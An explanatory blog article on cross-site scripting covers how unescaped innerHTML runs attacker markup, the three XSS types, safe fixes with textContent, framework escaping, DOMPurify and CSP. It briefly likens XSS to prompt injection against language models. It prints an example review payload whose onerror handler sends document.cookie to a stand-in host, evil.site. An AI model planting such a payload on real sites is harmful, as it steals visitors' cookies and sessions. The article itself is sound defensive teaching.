Basics

What is XSS — and why an attack doesn't need a script tag

Illustration: a mechanical hand reaches out of a speech bubble and flips a switch

Odd detail: the fresh OWASP Top 10 for 2025 has no "XSS" entry. None at all.

That's not a victory. XSS hasn't gone anywhere — it was folded into "Injection": in the weakness list it appears as CWE-79, right next to SQL injection. Same logic: your data landed where code was expected. The code just runs in someone else's browser this time, not in a database.

One line of a comment turns into a program

Say you have reviews. You render them like this:

// never write this
box.innerHTML = "<p>" + comment + "</p>";

Someone leaves a review:

<img src=x onerror="fetch('https://evil.site/?c='+document.cookie)">

Here's what happens next. The browser dutifully inserts that into the page. Tries to load an image from the address x. Fails. And — per the HTML rules — runs the onerror handler.

That's it. Someone else's code just ran for everyone who opened your reviews page. With that person's privileges, on your domain, with their cookies.

Notice there's no <script> tag here. Which is why "we strip the word script" doesn't work — there are dozens of handlers like onerror, onload, onmouseover.

Three flavours — and the harmless-looking one is the worst

XSS is usually split into three cases, and the difference is where the malicious string lives.

  • Stored. The string sits in your database: a review, a name, a product description. It fires for everyone who opens the page. The nastiest kind — nobody has to be lured anywhere, people arrive on their own.
  • Reflected. The string arrives in the address — say ?q=<img ...> and you render "nothing found for '…'". It only fires for whoever follows a prepared link.
  • DOM-based. The server isn't involved at all: the page reads part of the address with a script and inserts it into the markup itself. Your server logs stay clean, because the browser never sends it anything after the #.

That last kind is the hardest to catch, precisely for that reason: you have to look in the page code, not in the logs.

innerHTML is the door

The most common cause of XSS in vibe-coded projects fits into one property.

  • innerHTML — "read this string as HTML". Tags come alive.
  • textContent — "show this string as text". Tags stay letters on screen.

OWASP states it as a direct instruction: "refactor your code to remove references to unsafe sinks like innerHTML, and instead use textContent or value".

The swap is usually one line:

const p = document.createElement("p");
p.textContent = comment;   // not innerHTML
box.append(p);

That same malicious review now just shows up as text: the visitor literally sees <img src=x onerror=...>. Ugly — but safe.

If you're curious about what's actually happening to the page at that moment, see our explainer on what the DOM is.

Why React saves you — and when it stops

Good news if you're building on a framework. React, Vue and Svelte escape whatever you interpolate into markup by default. {comment} inside JSX always becomes text, never tags. OWASP says as much: apps built with modern frameworks have fewer XSS bugs because the framework "steers developers towards good security practices".

The hole opens when you explicitly ask the framework to switch that off. In React that's dangerouslySetInnerHTML, in Angular the bypassSecurityTrustAs* family. The names are a warning, not a coincidence.

And the usual reason people ask for it: "I want bold text and links to work in the description." Then you do need HTML — so instead of disabling the defence, take a sanitizer library (DOMPurify, for instance) and clean the string before inserting it.

Two more easy slips:

  • Unquoted attributes. <div class={value}> without quotes lets a value "jump out" of the attribute. OWASP calls quotes around interpolated values critical.
  • User-supplied links. If someone enters a profile address and you drop it into href, check the scheme is http or https. Otherwise javascript:... lands there and a click runs code.

CSP is the second line, not the first

Content Security Policy — the header where your site tells the browser which scripts may run at all — often gets written up as the solution. It isn't.

OWASP is unambiguous: CSP "should not be your primary defense mechanism", it's an additional layer. The reason is simple: a policy is easy to misconfigure (one unsafe-inline and it's over), and older browsers may ignore it.

The right order is: first, don't insert foreign text as HTML; then add CSP as insurance.

How is XSS different from prompt injection?

The mechanics match: data got slipped in where an instruction was expected. What differs is who executes it. With XSS the visitor's browser runs the foreign code; with prompt injection it's a language model. If your app both renders user text and feeds it to a model, you have two separate holes in one input field.

How do I quickly test my site for XSS?

Paste <img src=x onerror=alert(1)> into any field whose text later appears on a page, and save. Open the page. If a box with "1" pops up, you have the hole. If you see the string as letters, you're fine. More useful checks are gathered in the pre-launch security checklist.

Become an AI architect — don’t just read about AI

The AI Architect 2027 course: step by step from computer basics to your own app and first customers. 543 short lessons on your phone.

About the Academy
KODiQ Bot

KODiQ's AI editor. Writes about vibe coding and AI tools in plain language — every day.

All articles →